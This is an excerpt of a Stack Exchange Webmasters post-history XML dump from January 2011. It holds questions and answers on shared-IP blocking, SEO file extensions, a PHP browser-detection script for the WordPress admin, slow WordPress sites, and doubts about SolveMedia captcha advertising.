  <row Id="16576" PostHistoryTypeId="2" PostId="7793" RevisionGUID="402b3b2c-4def-451f-b3b6-37bba00f1941" CreationDate="2011-01-16T15:18:30.933" UserId="4560" Text="I contacted my hosting provider and explained the situation. While on the phone with them it dawned on me to try to browse to the IP assigned to my domains. Sure enough that was also blocked. My domains are hosted on a shared server using a shared IP. So a site using that IP had been flagged as malicious. So I decided to pay for a dedicated IP (2$ extra a month) and bam, the issue was solved. It had nothing to do with domain categorization.&#xD;&#xA;&#xD;&#xA;Goes to show that getting a dedicated IP is worth the small extra cost.&#xD;&#xA;&#xD;&#xA;Thanks for helping me out." />
  <row Id="16577" PostHistoryTypeId="2" PostId="7794" RevisionGUID="2a145ace-b192-4da0-b000-a7a7dcbd840a" CreationDate="2011-01-16T15:35:45.587" UserId="4497" Text="http://stackoverflow.com/questions/1607/mechanisms-for-tracking-db-schema-changes" />
  <row Id="16578" PostHistoryTypeId="2" PostId="7795" RevisionGUID="1767b36f-2d63-4dc7-990f-bdd435f947c3" CreationDate="2011-01-16T15:53:55.943" UserDisplayName="Andrej" Text="i have a website done in Joomla. Is there any way that I could maybe import that template into some program and change the desing without coding?&#xD;&#xA;Something like Artisteer, only Artisteer can not import tamplates, it can only export them.&#xD;&#xA;&#xD;&#xA;I would be thankful for any advice!&#xD;&#xA;" />
  <row Id="16579" PostHistoryTypeId="1" PostId="7795" RevisionGUID="1767b36f-2d63-4dc7-990f-bdd435f947c3" CreationDate="2011-01-16T15:53:55.943" UserDisplayName="Andrej" Text="Import CMS template and manipulate with it" />
  <row Id="16580" PostHistoryTypeId="3" PostId="7795" RevisionGUID="1767b36f-2d63-4dc7-990f-bdd435f947c3" CreationDate="2011-01-16T15:53:55.943" UserDisplayName="Andrej" Text="&lt;cms&gt;&lt;template&gt;" />
  <row Id="16587" PostHistoryTypeId="25" PostId="7795" RevisionGUID="d60ce21d-e247-4670-904a-0e1478a1b133" CreationDate="2011-01-16T16:55:36.057" Comment="http://twitter.com/#!/StackWebmasters/status/26683999644553216" />
  <row Id="16588" PostHistoryTypeId="2" PostId="7796" RevisionGUID="e62569c6-bbdd-4d96-a344-c14f2bf3f989" CreationDate="2011-01-16T17:12:53.763" UserId="1757" Text="FLV is a container format. H.264 is a video codec. Even though iPhones support H.264, they don't recognize the FLV container format.&#xD;&#xA;&#xD;&#xA;However, the latest version of Flash is fully capable of playing .mp4 video, which is a container format that the iPhone/iPad also support.&#xD;&#xA;&#xD;&#xA;So if you encode your video as H.264 mp4 files, then you should be able to play them on both iPhone/iPad and whatever platform you're using Flash on." />
  <row Id="16589" PostHistoryTypeId="17" PostId="7798" RevisionGUID="49448051-6556-479a-916d-0f1331bd4eac" CreationDate="2011-01-16T17:33:10.817" UserId="-1" Comment="from http://stackoverflow.com/questions/4706258/seo-html-php-or-nothing/4706286#4706286" Text="" />
  <row Id="16590" PostHistoryTypeId="17" PostId="7799" RevisionGUID="933d60fa-eef3-43e8-8d07-11a754dcf735" CreationDate="2011-01-16T17:33:10.817" UserId="-1" Comment="from http://stackoverflow.com/questions/4706258/seo-html-php-or-nothing/4706299#4706299" Text="" />
  <row Id="16591" PostHistoryTypeId="17" PostId="7800" RevisionGUID="2d871844-66d8-47f6-beb7-9c3e310aa8e6" CreationDate="2011-01-16T17:33:10.817" UserId="-1" Comment="from http://stackoverflow.com/questions/4706258/seo-html-php-or-nothing/4706328#4706328" Text="" />
  <row Id="16592" PostHistoryTypeId="17" PostId="7801" RevisionGUID="f3a7368d-7d4f-41cf-8695-1d795a068e7d" CreationDate="2011-01-16T17:33:10.817" UserId="-1" Comment="from http://stackoverflow.com/questions/4706258/seo-html-php-or-nothing/4706334#4706334" Text="" />
  <row Id="16593" PostHistoryTypeId="17" PostId="7802" RevisionGUID="05619839-e5bc-462a-a15e-8ce8f0d8564b" CreationDate="2011-01-16T17:33:10.817" UserId="-1" Comment="from http://stackoverflow.com/questions/4706258/seo-html-php-or-nothing/4706363#4706363" Text="" />
  <row Id="16594" PostHistoryTypeId="17" PostId="7803" RevisionGUID="6098724e-6455-4992-b39a-7f3da946a0d2" CreationDate="2011-01-16T17:33:10.817" UserId="-1" Comment="from http://stackoverflow.com/questions/4706258/seo-html-php-or-nothing/4706412#4706412" Text="" />
  <row Id="16595" PostHistoryTypeId="2" PostId="7798" RevisionGUID="30429c77-c51a-47eb-8a97-9f9df281e45d" CreationDate="2011-01-16T15:45:23.543" UserId="1836" Text="It really doesn't matter, it's just personal preference. Rewrite .php as .html if you want to hide the technology you used, or if you just like it more." />
  <row Id="16596" PostHistoryTypeId="2" PostId="7799" RevisionGUID="f3e7b7bf-18ea-4841-8970-b29cb0a6c378" CreationDate="2011-01-16T15:46:45.523" UserDisplayName="Ryan Pedersen" Text="When you look at the big picture it makes very little difference. Be careful when it comes time to use query string parameters but even then you should probably focus on content first. &#xD;&#xA;&#xD;&#xA;If you are just getting started focus on two things:&#xD;&#xA;&#xD;&#xA; - content for the users first and the search engine second&#xD;&#xA; &#xD;&#xA; - links from other sites that are similar to your site " />
  <row Id="16597" PostHistoryTypeId="2" PostId="7800" RevisionGUID="3c2d9a5a-7c03-4e40-a757-afa2cea7549b" CreationDate="2011-01-16T15:51:39.213" UserDisplayName="vise" Text="The extension gets indexed but its impact is minimal. Searching for `animal html` does return pages named `animal.html` but this is an edge case at best.&#xD;&#xA;&#xD;&#xA;Hiding the extension is preferred however, mostly because web technologies come and go and you really want to avoid broken links to your site even if these won't happen in the near future." />
  <row Id="16598" PostHistoryTypeId="2" PostId="7801" RevisionGUID="2e9b0a6e-5c4d-4318-afcf-e3f4a88a9e4c" CreationDate="2011-01-16T15:52:42.410" UserId="4465" Text="Actually, it's doesn't matter (.html or .php or .asp bla bla bla ) . But you can rewrite URL completely.&#xD;&#xA;&#xD;&#xA;For example :&#xD;&#xA;http://www.example.com/member.php TO http://www.example.com/member/&#xD;&#xA;&#xD;&#xA;Users (and maybe  Google?) more like this URL method." />
  <row Id="16599" PostHistoryTypeId="2" PostId="7802" RevisionGUID="dfeb32eb-1e50-4935-9ae6-abdfb1916d54" CreationDate="2011-01-16T15:58:03.523" UserDisplayName="Sebastian" Text="If you have &quot;pretty&quot; URLs (e.g. &quot;http://www.example.com/profile/charly-sheen&quot;), you don't want to have the extension, because it will reduce the weight of the other keywords in the URL (in this case: &quot;profile&quot;, &quot;charly&quot; and &quot;sheen&quot;). If there were a &quot;.php&quot; in the end, &quot;php&quot; would most likely take some weight away from the other keywords.&#xD;&#xA;So yeah, you want to make your URLs as short as possible and remove everything word that you don't expect users to search for.&#xD;&#xA;&#xD;&#xA;If you don't have &quot;pretty&quot; URLs (e.g. &quot;http://www.example.com/profile.php?id=12345&quot;), the .php doesn't matter, because your URL is crap anyway, both from a SEO as well as a user experience perspective." />
  <row Id="16600" PostHistoryTypeId="2" PostId="7803" RevisionGUID="fa503ebf-dc38-4e7b-a14b-b1ce872b36ed" CreationDate="2011-01-16T16:06:48.303" UserDisplayName="Oswald" Text="Remove it. It serves no purpose, other than letting the user know which technology you would like him to believe you used to create the page. [Cool URIs don't change][1]. After the third change in page generation technology, you do not want to have a mix of .html, .php, .aspx URLs; and you actually just decided to switch to the new and promising Foogen 3.v, adding a new file extension .foog to your portfolio.&#xD;&#xA;&#xD;&#xA;Do not remove it for the sake of SEO. Remove it for the sake of consistency and for the sake of people linking to your site (which, on the other hand, happens to be a part of SEO nowadays).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Provider/Style/URI" />
  <row Id="16601" PostHistoryTypeId="2" PostId="7797" RevisionGUID="14f5d8d6-9211-424e-b131-8911c0b75830" CreationDate="2011-01-16T15:41:50.820" UserDisplayName="Kevin" Text="When I make a site, should I use the .php extension, rewrite it to .html or just remove it (.htaccess)? What's your opinion about this?&#xD;&#xA;&#xD;&#xA;I've always learnt that it was .html, but I don't know why. I doubt it that google doesn't care, but why should .html prefered to no extension?" />
  <row Id="16602" PostHistoryTypeId="1" PostId="7797" RevisionGUID="14f5d8d6-9211-424e-b131-8911c0b75830" CreationDate="2011-01-16T15:41:50.820" UserDisplayName="Kevin" Text="SEO .html, .php or nothing" />
  <row Id="16603" PostHistoryTypeId="3" PostId="7797" RevisionGUID="14f5d8d6-9211-424e-b131-8911c0b75830" CreationDate="2011-01-16T15:41:50.820" UserDisplayName="Kevin" Text="&lt;php&gt;&lt;html&gt;&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="16604" PostHistoryTypeId="17" PostId="7797" RevisionGUID="04c31a9f-7c4c-4161-a27f-f75019e74cff" CreationDate="2011-01-16T17:33:10.817" UserId="-1" Comment="from http://stackoverflow.com/questions/4706258/seo-html-php-or-nothing" Text="" />
  <row Id="16608" PostHistoryTypeId="5" PostId="7737" RevisionGUID="99fd5a7d-c137-43f7-b624-216dc3e5e84e" CreationDate="2011-01-16T18:17:24.540" UserId="2986" Comment="Added UPDATE#2 with my solution" Text="My client has asked me to implement a browser detection system for the admin login with the following criteria, allow these:&#xD;&#xA;&#xD;&#xA; - Internet Explorer 8 or newer&#xD;&#xA; - Firefox 3.6 or newer&#xD;&#xA; - Safari 5 or newer for Mac only&#xD;&#xA;&#xD;&#xA;And everything else should be blocked. They want me to implement a page telling the user what browser they need to upgrade/switch to in order to access the CMS.&#xD;&#xA;&#xD;&#xA;**Basically I need to know the best way to detect these browsers with PHP, distinct from any other browsers, and I've read that [browser sniffing per se is not a good idea][1].**&#xD;&#xA;&#xD;&#xA;The CMS is WordPress but this is _**not**_ a WordPress question *(FYI I am a moderator on the [WordPress Answers][2] site.)*  Once I figure out the right technique to detect the browser I'm fully capable to make WordPress react as my client wants, I just need to know what the best ways are with PHP *(or worse case jQuery, but I much prefer to do on the server)* to figure how what works and what doesn't.&#xD;&#xA;&#xD;&#xA;Please understand that *&quot;Don't do it&quot;* is not an acceptable answer for this question. I know this client too well and when they ask me to implement something I need to do it *(they are a really good client so I'm happy to do what they ask.)*&#xD;&#xA;&#xD;&#xA;Thanks in advance for your expertise.&#xD;&#xA;&#xD;&#xA;###UPDATE&#xD;&#xA;&#xD;&#xA;This requirement is **for the admin console, not the public site**; we'll support everything on the public site but we've heavily modified the WordPress admin console and we only want to have to test on the main three (3) browsers.  So feature detection is not really relevant here; this is a testing and support requirement, not a requirement for supporting specific features. &#xD;&#xA;&#xD;&#xA;And the project does not have the funding to support all browsers; it's just not realistic when there are probably only going to be 25 or 50 users of the admin console in total.&#xD;&#xA;&#xD;&#xA;###UPDATE #2&#xD;&#xA;&#xD;&#xA;For the benefit of anyone with the same requirements here's the solution I came up with:&#xD;&#xA;&#xD;&#xA;    $min_versions = array(&#xD;&#xA;      'safari'  =&gt; 5,&#xD;&#xA;      'firefox' =&gt; 3.6,&#xD;&#xA;      'msie'    =&gt; 8,&#xD;&#xA;    );&#xD;&#xA;    $good_browser = false;&#xD;&#xA;    $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);&#xD;&#xA;    if (preg_match(&quot;#applewebkit/.*?version/([0-9]+)\..*?safari/#&quot;, $user_agent, $match)) {&#xD;&#xA;      $good_browser = intval($match[1])&gt;=self::$min_versions['safari'];&#xD;&#xA;    } else {&#xD;&#xA;      foreach(array('firefox','msie') as $browser) {&#xD;&#xA;        if (preg_match(&quot;#{$browser}/([0-9]+)\.#&quot;, $user_agent, $match)) {&#xD;&#xA;          $good_browser = intval($match[1])&gt;=self::$min_versions[$browser];&#xD;&#xA;          break;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    if (!$good_browser) {&#xD;&#xA;      // Do redirect to an upgrade page&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And this is the solution packaged as a standalone file designed to be included in a WordPress plugin or by the `functions.php` file of a WordPress theme:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    /* my-clients-browser-detect.php */&#xD;&#xA;    &#xD;&#xA;    if (!class_exists('MyClients_BrowserDetector')) {&#xD;&#xA;      class MyClients_BrowserDetector {&#xD;&#xA;        static $min_versions = array(&#xD;&#xA;          'safari'  =&gt; 5,&#xD;&#xA;          'firefox' =&gt; 3.6,&#xD;&#xA;          'msie'    =&gt; 8,&#xD;&#xA;        );&#xD;&#xA;        static function admin_init() {&#xD;&#xA;          $good_browser = false;&#xD;&#xA;          $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);&#xD;&#xA;          if (preg_match(&quot;#applewebkit/.*?version/([0-9]+)\..*?safari/#&quot;, $user_agent, $match)) {&#xD;&#xA;            $good_browser = intval($match[1])&gt;=self::$min_versions['safari'];&#xD;&#xA;          } else {&#xD;&#xA;            foreach(array('firefox','msie') as $browser) {&#xD;&#xA;              if (preg_match(&quot;#{$browser}/([0-9]+)\.#&quot;, $user_agent, $match)) {&#xD;&#xA;                $good_browser = intval($match[1])&gt;=self::$min_versions[$browser];&#xD;&#xA;                break;&#xD;&#xA;              }&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;          if (!$good_browser) {&#xD;&#xA;            $pages = self::get_pages('page-upgrade-browser.php');&#xD;&#xA;            if (count($pages)==0) {&#xD;&#xA;              echo &quot;&lt;p&gt;Please upgrade your browser to one of the following:&lt;/p&gt;&lt;ul&gt;&quot;;&#xD;&#xA;              foreach(self::$min_versions as $browser =&gt; $version) {&#xD;&#xA;                echo &quot;&lt;li&gt;{$browser}: {$version}&lt;/li&gt;&quot;;&#xD;&#xA;              }&#xD;&#xA;              echo &quot;&lt;/ul&gt;&quot;;&#xD;&#xA;              exit;&#xD;&#xA;            }&#xD;&#xA;            $permalink = get_page_link(get_post($pages[0])-&gt;ID);&#xD;&#xA;            wp_safe_redirect($permalink,302);&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        static function get_pages($template) {&#xD;&#xA;          global $wpdb;&#xD;&#xA;          $sql = $wpdb-&gt;prepare(&quot;SELECT post_id FROM {$wpdb-&gt;postmeta} WHERE meta_key='_wp_page_template' AND meta_value='%s'&quot;,$template);&#xD;&#xA;          $pages = $wpdb-&gt;get_col($sql);&#xD;&#xA;          foreach($pages as $index =&gt; $page_id)&#xD;&#xA;            $pages[$index] = get_post($page_id);&#xD;&#xA;          return $pages;&#xD;&#xA;        }&#xD;&#xA;        static function on_load() {&#xD;&#xA;          add_action('admin_init', array(__CLASS__,'admin_init'));&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      MyClients_BrowserDetector::on_load();&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;As several people have mentioned feature detection is usually considered a better approach but for this use-case we really didn't have specific features we cared about, we had specific named browsers we cared about so feature detection wasn't a viable option. FYI, the client knows that we may have to revise this script in the future if we can false negatives or false positives.&#xD;&#xA;&#xD;&#xA;-Mike&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtocreate.co.uk/tutorials/jsexamples/sniffer.html&#xD;&#xA;  [2]: http://wordpress.stackexchange.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16609" PostHistoryTypeId="25" PostId="7797" RevisionGUID="49f05fe1-ec73-4648-b8ba-85d821ce1866" CreationDate="2011-01-16T19:55:35.950" Comment="http://twitter.com/#!/StackWebmasters/status/26729297649602560" />
  <row Id="16610" PostHistoryTypeId="2" PostId="7805" RevisionGUID="d1410ba8-5a0f-4d25-9f79-0534004d97ad" CreationDate="2011-01-16T20:34:09.883" UserId="4465" Text="A few days, my website ([http://www.teknoblogo.com][1]) isn't scrolling easily (You can try scrolling) . Website very very slow. I'm using W3 Total Cache. Disabled all unnecessary plugins. But still website is very slow.&#xD;&#xA;&#xD;&#xA;What can i do ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.teknoblogo.com" />
  <row Id="16611" PostHistoryTypeId="1" PostId="7805" RevisionGUID="d1410ba8-5a0f-4d25-9f79-0534004d97ad" CreationDate="2011-01-16T20:34:09.883" UserId="4465" Text="Wordpress Blog Is Very Slow" />
  <row Id="16612" PostHistoryTypeId="3" PostId="7805" RevisionGUID="d1410ba8-5a0f-4d25-9f79-0534004d97ad" CreationDate="2011-01-16T20:34:09.883" UserId="4465" Text="&lt;wordpress&gt;&lt;page-speed&gt;" />
  <row Id="16613" PostHistoryTypeId="2" PostId="7806" RevisionGUID="4bd5027f-32cc-4230-bae7-5dd4ae66fc40" CreationDate="2011-01-16T20:39:11.480" UserId="69" Text="Depending on just how disjoint the blog posts are from the shareware I would create a new domain for the blog. Then I would use specific tags on posts about the shareware and use a tag RSS feed to put those posts into a news section on the shareware site. Doing this would give you the flexibility to have multiple sites pulling from your blog on different topics. If someone really wants to see all your posts they can click through to your blog from the other site." />
  <row Id="16617" PostHistoryTypeId="10" PostId="7797" RevisionGUID="3b022d2e-2f3b-4d5c-b2a3-30c9b45ace7a" CreationDate="2011-01-16T22:51:58.573" UserId="138" CloseReasonId="1" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="16618" PostHistoryTypeId="5" PostId="7797" RevisionGUID="2cee3bf9-f6bc-4e85-be0b-9c8b6a074611" CreationDate="2011-01-16T22:51:58.683" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Should I use a file extension or not?](http://webmasters.stackexchange.com/questions/3079/should-i-use-a-file-extension-or-not)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi Guys,&#xD;&#xA;&#xD;&#xA;When I make a site, should I use the .php extension, rewrite it to .html or just remove it (.htaccess)? What's your opinion about this?&#xD;&#xA;&#xD;&#xA;I've always learnt that it was .html, but I don't know why. I doubt it that google doesn't care, but why should .html prefered to no extension?" />
  <row Id="16619" PostHistoryTypeId="25" PostId="7805" RevisionGUID="e4b362a6-4a34-45d6-b66d-8215baae8d03" CreationDate="2011-01-16T22:55:35.663" Comment="http://twitter.com/#!/StackWebmasters/status/26774594887090176" />
  <row Id="16620" PostHistoryTypeId="2" PostId="7807" RevisionGUID="4117f71e-3d46-4d17-bbda-843bfc233c53" CreationDate="2011-01-17T01:18:35.250" UserId="4655" Text="Simple answer - both, but the blog.domain.com should only list posts related to domain.com using domain.com design/layout (RSS feed solution sounds ok)." />
  <row Id="16621" PostHistoryTypeId="25" PostId="7791" RevisionGUID="79d0b8e7-84bb-4bea-9b44-653287306cff" CreationDate="2011-01-17T01:55:35.670" Comment="http://twitter.com/#!/StackWebmasters/status/26819893491929088" />
  <row Id="16622" PostHistoryTypeId="5" PostId="7781" RevisionGUID="3b03eff9-3d14-4c93-bbcf-393fa6779bb7" CreationDate="2011-01-17T02:30:11.100" UserId="4643" Comment="added 758 characters in body" Text="I am a real dummy in [web monetizing][1] schemes.  &#xD;&#xA; &#xD;&#xA;[ 1 ] informs:&#xD;&#xA;&#xD;&#xA; - &quot;[Solve][2] [Media] charges a fee of about 25 cents to 50 cents for each form that is filled out using a Type-In ad [captcha]...  the company splits its fees 50-50 with the websites where the ads are placed&quot;  &#xD;&#xA;&#xD;&#xA;Honestly, I cannot imagine that someone (in its proper senses) pasy that much money for just one captcha passed.  &#xD;&#xA;And how to understand these claims?   &#xD;&#xA;&#xD;&#xA;http://www.solvemedia.com/images/ie9_aboutcalcount.png shows:  &#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why would Microsot pay 0.25-0.5 USD for each entered string &quot;Be part of the Beta&quot;?  &#xD;&#xA;&#xD;&#xA;Has any of webmasters (sysadmins) got those from deployed SolveMedia captchas on their websites?  &#xD;&#xA;&#xD;&#xA;Is it scam? &#xD;&#xA;Because if to check the sites mentioned in http://www.solvemedia.com/gallery.html,  &#xD;&#xA;that is, for ex., http://www.toyotanation.com/forum/register.php?do=register, the latter do not have such captchas.  &#xD;&#xA;&#xD;&#xA;What do I miss?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cited:&#xD;&#xA;[ 1 ]  &#xD;&#xA;Jennifer Valentino-DeVries  &#xD;&#xA;&quot;An Online Ad That’s Tough to Ignore&quot;  &#xD;&#xA;WallStreet Journal Blog   &#xD;&#xA;SEPTEMBER 20, 2010   &#xD;&#xA;[http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore][4]/ &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;So, why don't I see the SolveMedia captchas from http://www.solvemedia.com/gallery.html on indicated there websites?  &#xD;&#xA;&#xD;&#xA;That is, &#xD;&#xA;&#xD;&#xA;  - http://www.solvemedia.com/images/ie9_aboutcalcount.png on http://caloriecount.about.com/cc/account/getstarted.php;  &#xD;&#xA;  - http://www.solvemedia.com/images/toyota_nation.jpg on http://www.toyotanation.com/forum/register.php?do=register, it has vBulletin captcha;&#xD;&#xA;  - http://www.solvemedia.com/images/expedia_philly.jpg on http://www.philly.com/s?action=passwordReminder&#xD;&#xA;&#xD;&#xA;Then, SolveMedia captcha is not even minimally protected, it can be automatically OCT-ed by a bot.  &#xD;&#xA;   &#xD;&#xA;Also, I do not get about paying for IE9 beta. Isn't it proposed though Windows auto-update service to all who has Windows?  &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Website_monetization&#xD;&#xA;  [2]: http://www.solvemedia.com/index.html&#xD;&#xA;  [3]: http://i.stack.imgur.com/KfOie.png&#xD;&#xA;  [4]: http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore" />
  <row Id="16623" PostHistoryTypeId="2" PostId="7808" RevisionGUID="b60f4573-f9b7-44db-8b1a-f31aa71c97ab" CreationDate="2011-01-17T02:43:44.503" UserId="4656" Text="I like Carson's approach. Both my product site and my blog site are created using wordpress, and the feeds are managed by feedburner. I searched the web and found feedburner may have [limited support for category][1], but wordpress can support [feed for category][2] very well. So The solution can be: &#xD;&#xA;&#xD;&#xA; - Create 2 feedburner feeds from my blog, one for all the posts of blog (feed1), and the other for one category specified for products (feed2).&#xD;&#xA; - Feed1 will be set as my feed for blog&#xD;&#xA; - Feed2 will be set as my feed for product site&#xD;&#xA;&#xD;&#xA;  [1]: http://www.labnol.org/internet/tools/feedburner-rss-feeds-faq-problems-tips/1199/&#xD;&#xA;  [2]: http://codex.wordpress.org/WordPress_Feeds&#xD;&#xA;&#xD;&#xA;Looks not too bad, the only concern is that subscribers may getting confused by 2 domains." />
  <row Id="16624" PostHistoryTypeId="5" PostId="7781" RevisionGUID="35739cde-49d2-4f11-928a-4adf4170bf87" CreationDate="2011-01-17T02:46:20.150" UserId="4643" Comment="added 232 characters in body" Text="I am a real dummy in [web monetizing][1] schemes.  &#xD;&#xA; &#xD;&#xA;[ 1 ] informs:&#xD;&#xA;&#xD;&#xA; - &quot;[Solve][2] [Media] charges a fee of about 25 cents to 50 cents for each form that is filled out using a Type-In ad [captcha]...  the company splits its fees 50-50 with the websites where the ads are placed&quot;  &#xD;&#xA;&#xD;&#xA;Honestly, I cannot imagine that someone (in its proper senses) pasy that much money for just one captcha passed.  &#xD;&#xA;And how to understand these claims?   &#xD;&#xA;&#xD;&#xA;http://www.solvemedia.com/images/ie9_aboutcalcount.png shows:  &#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why would Microsot pay 0.25-0.5 USD for each entered string &quot;Be part of the Beta&quot;?  &#xD;&#xA;&#xD;&#xA;Has any of webmasters (sysadmins) got those from deployed SolveMedia captchas on their websites?  &#xD;&#xA;&#xD;&#xA;Is it scam? &#xD;&#xA;Because if to check the sites mentioned in http://www.solvemedia.com/gallery.html,  &#xD;&#xA;that is, for ex., http://www.toyotanation.com/forum/register.php?do=register, the latter do not have such captchas.  &#xD;&#xA;&#xD;&#xA;What do I miss?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cited:&#xD;&#xA;[ 1 ]  &#xD;&#xA;Jennifer Valentino-DeVries  &#xD;&#xA;&quot;An Online Ad That’s Tough to Ignore&quot;  &#xD;&#xA;WallStreet Journal Blog   &#xD;&#xA;SEPTEMBER 20, 2010   &#xD;&#xA;[http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore][4]/ &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;So, why don't I see the SolveMedia captchas from http://www.solvemedia.com/gallery.html on indicated there websites?  &#xD;&#xA;&#xD;&#xA;That is, I passed the registrations on respective websites and SplveMedia captcha did not appear:&#xD;&#xA;&#xD;&#xA;  - http://www.solvemedia.com/images/ie9_aboutcalcount.png on http://caloriecount.about.com/cc/account/getstarted.php; no captcha at all &#xD;&#xA;  - http://www.solvemedia.com/images/expedia_philly.jpg on http://www.philly.com/s?action=passwordReminder , no captcha at all&#xD;&#xA;&#xD;&#xA;http://www.solvemedia.com/images/toyota_nation.jpg is supposed to appear on   http://www.toyotanation.com/forum/register.php?do=register, but it is really protected by  vBulletin captcha :  &#xD;&#xA;![alt text][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then, SolveMedia captcha is not even minimally protected, it can be automatically OCR-ed by a bot.  &#xD;&#xA;   &#xD;&#xA;Also, I do not get about paying for IE9 beta. Isn't it proposed though Windows auto-update service to all who has Windows?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Website_monetization&#xD;&#xA;  [2]: http://www.solvemedia.com/index.html&#xD;&#xA;  [3]: http://i.stack.imgur.com/KfOie.png&#xD;&#xA;  [4]: http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore&#xD;&#xA;  [5]: http://i.stack.imgur.com/IV5uS.png" />
  <row Id="16625" PostHistoryTypeId="5" PostId="7781" RevisionGUID="68aa5362-ed21-4533-ac9c-60aafc3cfb41" CreationDate="2011-01-17T02:53:15.837" UserId="4643" Comment="added 236 characters in body" Text="I am a real dummy in [web monetizing][1] schemes.  &#xD;&#xA; &#xD;&#xA;[ 1 ] informs:&#xD;&#xA;&#xD;&#xA; - &quot;[Solve][2] [Media] charges a fee of about 25 cents to 50 cents for each form that is filled out using a Type-In ad [captcha]...  the company splits its fees 50-50 with the websites where the ads are placed&quot;  &#xD;&#xA;&#xD;&#xA;Honestly, I cannot imagine that someone (in its proper senses) pasy that much money for just one captcha passed.  &#xD;&#xA;And how to understand these claims?   &#xD;&#xA;&#xD;&#xA;http://www.solvemedia.com/images/ie9_aboutcalcount.png shows:  &#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;Why would Microsot pay 0.25-0.5 USD for each entered string &quot;Be part of the Beta&quot;?  &#xD;&#xA;&#xD;&#xA;Has any of webmasters (sysadmins) got those from deployed SolveMedia captchas on their websites?  &#xD;&#xA;&#xD;&#xA;Is it scam? &#xD;&#xA;Because if to check the sites mentioned in http://www.solvemedia.com/gallery.html,  &#xD;&#xA;that is, for ex., http://www.toyotanation.com/forum/register.php?do=register, the latter do not have such captchas.  &#xD;&#xA;&#xD;&#xA;What do I miss?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cited:&#xD;&#xA;[ 1 ]  &#xD;&#xA;Jennifer Valentino-DeVries  &#xD;&#xA;&quot;An Online Ad That’s Tough to Ignore&quot;  &#xD;&#xA;WallStreet Journal Blog   &#xD;&#xA;SEPTEMBER 20, 2010   &#xD;&#xA;[http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore][4]/ &#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;So, why don't I see the SolveMedia captchas from http://www.solvemedia.com/gallery.html on indicated there websites?  &#xD;&#xA;&#xD;&#xA;That is, I passed the registrations on respective websites and SplveMedia captcha did not appear:&#xD;&#xA;&#xD;&#xA;  - http://www.solvemedia.com/images/ie9_aboutcalcount.png on http://caloriecount.about.com/cc/account/getstarted.php; no captcha at all &#xD;&#xA;  - http://www.solvemedia.com/images/expedia_philly.jpg on http://www.philly.com/s?action=passwordReminder , no captcha at all&#xD;&#xA;&#xD;&#xA;http://www.solvemedia.com/images/toyota_nation.jpg is supposed to appear on   http://www.toyotanation.com/forum/register.php?do=register, but it is really protected by  vBulletin captcha :  &#xD;&#xA;![alt text][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then, SolveMedia captcha is not even minimally protected, it can be automatically OCR-ed by a bot. If not, SolveMedia captchas are completely transparent to laundry and redirection attacks, i.e. re-transfer it by bots to (again automatically, through offered APIs) human solver sweatshops cracking them at 1 USD per 1000 solutions.   &#xD;&#xA;   &#xD;&#xA;Also, I do not get about paying for IE9 beta. Isn't it proposed though Windows auto-update service to all who has Windows?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Website_monetization&#xD;&#xA;  [2]: http://www.solvemedia.com/index.html&#xD;&#xA;  [3]: http://i.stack.imgur.com/KfOie.png&#xD;&#xA;  [4]: http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore&#xD;&#xA;  [5]: http://i.stack.imgur.com/IV5uS.png" />
